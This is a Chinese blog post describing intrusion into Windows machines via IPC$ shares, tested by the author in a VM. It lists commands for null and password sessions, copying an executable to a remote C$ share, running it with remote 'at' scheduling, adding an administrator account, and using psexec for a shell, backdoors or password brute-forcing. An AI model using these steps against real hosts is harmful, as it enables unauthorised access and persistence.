IPC网络入侵

xingyun86 2017-8-10 3574


IPC:

   IPC$(Internet Process Connection) 是共享 命名管道 "的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。 IPC$ 是 NT/2000 的一项新功能,它有一个特点,即在同一时间内,两个 IP 之间只允许建立一个连接。NT/2000 在提供了 ipc$ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享 (c$,d$,e$ …… 和系统目录winnt 或 windows(admin$) 共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。

 

建立icp连接:net use \\192.168.1.104\ipc$ "123456" /user:"Administrator"

删除icp连接:net use \\192.168.1.104\ipc$ /del

 

空会话:

空会话就是建立一个连接,密码空,用户名空:

net use \\192.168.1.104\ipc$ "" /user:"" 

空会话刚刚进行了以下测试-win7---win7

尝试查看远程主机共享资源:net  view  \\192.168.1.104    拒绝

尝试查看远程主机时间    :  net time \\192.168.1.104       拒绝

 

得到远程主机的 NetBIOS 用户名列表(需要打开自己的 NBT 

nbtstat -A 192.168.1.104 这个可以,得到类似如下的回复:


    以上就是ipc的两种基本连接。但是注意一个问题就是不管是空会话还是非空会话,连接别人会在对方机器中留下脚印:

运行里面输入这个:compmgmt.msc 然后时间查看器,windows日志看登录log


IPC连接如果失败,原因可能是下面这样(直接在网上找了一些):

 

以下是一些常见的导致 ipc$ 连接失败的原因: 

1 IPC 连接是 Windows NT 及以上系统中特有的功能,由于其需要用到 Windows NT 中很多 DLL 函数,所以不能在Windows 9.x/Me 系统中运行,也就是说只有 nt/2000/xp 才可以相互建立 ipc$ 连接, 98/me 是不能建立ipc$ 连接的;

如果想成功的建立一个 ipc$ 连接,就需要响应方开启 ipc$ 共享,即使是空连接也是这样,如果响应方关闭了 ipc$ 共享,将不能建立连接;

连接发起方未启动 Lanmanworkstation 服务(显示名为: Workstation ):它提供网络链结和通讯,没有它发起方无法发起连接请求;

响应方未启动 Lanmanserver 服务(显示名为: Server ):它提供了 RPC 支持、文件、打印以及命名管道共享, ipc$ 依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起 ipc$ 连接;

响应方未启动 NetLogon ,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);

响应方的 139 , 445 端口未处于监听状态或被防火墙屏蔽;

连接发起方未打开 139 , 445 端口;

用户名或者密码错误:如果发生这样的错误,系统将给你类似于 无法更新密码 这样的错误提示(显然空会话排除这种错误);

命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号 "" 即可;

10 如果在已经建立好连接的情况下对方重启计算机,那么 ipc$ 连接将会自动断开,需要重新建立连接。 

另外 你也可以根据返回的错误号分析原因: 

错误号 ,拒绝访问:很可能你使用的用户不是管理员权限的; 

错误号 51 , Windows 无法找到网络路径:网络有问题; 

错误号 53 ,找不到网络路径: ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤); 

错误号 67 ,找不到网络名:你的 lanmanworkstation 服务未启动或者目标删除了 ipc$ ; 

错误号 1219 ,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$ ,请删除再连; 

错误号 1326 ,未知的用户名或错误密码:原因很明显了; 

错误号 1792 ,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动; 

错误号 2242 ,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。 

 

本地ipc$共享设置[注意是本地,很多本地命令必须直接到对方机器上操作,或者是已经入侵成功并且得到了shell]

 

开启本机ipc$共享,并且是所有权限

net share ipc$ /GRANT:Everyone,FULL

删除本机ipc&共享

net share ipc$ /del

本机把C盘共享出去

net share CCC=c:\ 

查看本地共享 直接net share


 整理下常用的命令:[注意有的是远程,有的是本地]

建立 删除 ipc$ 连接的命令 

)建立空连接 

net use \\127.0.0.1\ipc$ "" /user:"" 

)建立非空连接 

net use \\127.0.0.1\ipc$ " 密码 " /user:" 用户名 

)删除连接 

net use \\127.0.0.1\ipc$ /del

在 ipc$ 连接中对远程主机的操作命令 

) 查看远程主机的共享资源(看不到默认共享) 

net view \\127.0.0.1 

) 查看远程主机的当前时间 

net time \\127.0.0.1 

) 得到远程主机的 netbios 用户名列表 

nbtstat -A 127.0.0.1 

)映射 删除远程共享 

net use z: \\127.0.0.1\c 

此命令将共享名为 的共享资源映射为本地 盘 

net use z: /del 

删除映射的 盘,其他盘类推 

)向远程主机复制文件 

copy 路径 文件名 \\IP\ 共享目录名,如: 

copy c:\xinxin.exe \\127.0.0.1\c$ 即将 盘下的 xinxin.exe 复制到对方 盘内 

当然,你也可以把远程主机上的文件复制到自己的机器里: 

copy \\127.0.0.1\c$\xinxin.exe c:\ 

)远程添加计划任务 

at \\IP 时间 程序名 如: 

at \\127.0.0.0 11:00 xinxin.exe 

注意:时间尽量使用 24 小时制;如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径

本地命令 

)查看本地主机的共享资源(可以看到本地的默认共享) 

net share 

)得到本地主机的用户列表 

net user 

)显示本地某用户的帐户信息 

net user 帐户名 

)显示本地主机当前启动的服务 

net start 

)启动 关闭本地服务 

net start 服务名 

net stop 服务名 

)在本地添加帐户 

net user 帐户名 密码 /add 

)激活禁用的用户 

net uesr 帐户名 /active:yes 

)加入管理员组 

net localgroup administrators 帐户名 /add 

 


说下我今天用的测试环境:

虚拟机里直接装的这个系统:


然后关闭掉了防火墙设置了个密码方便测试,其他的什么都没动,都是默认设置。表示可以直接ipc通过密码链接上。

    走ipc还是比较老的办法,需要一步一步得到权限,其实可以直接psexec 一步到位获得目标shell,下面各个简单演示,之后会单独说。


得到shell之后剩下的留后门或者开共享或者其他的就都好说了。或者直接弱口令攻击的时候用psexec爆破。


×
打赏作者
最新回复 (0)
只看楼主
全部楼主
返回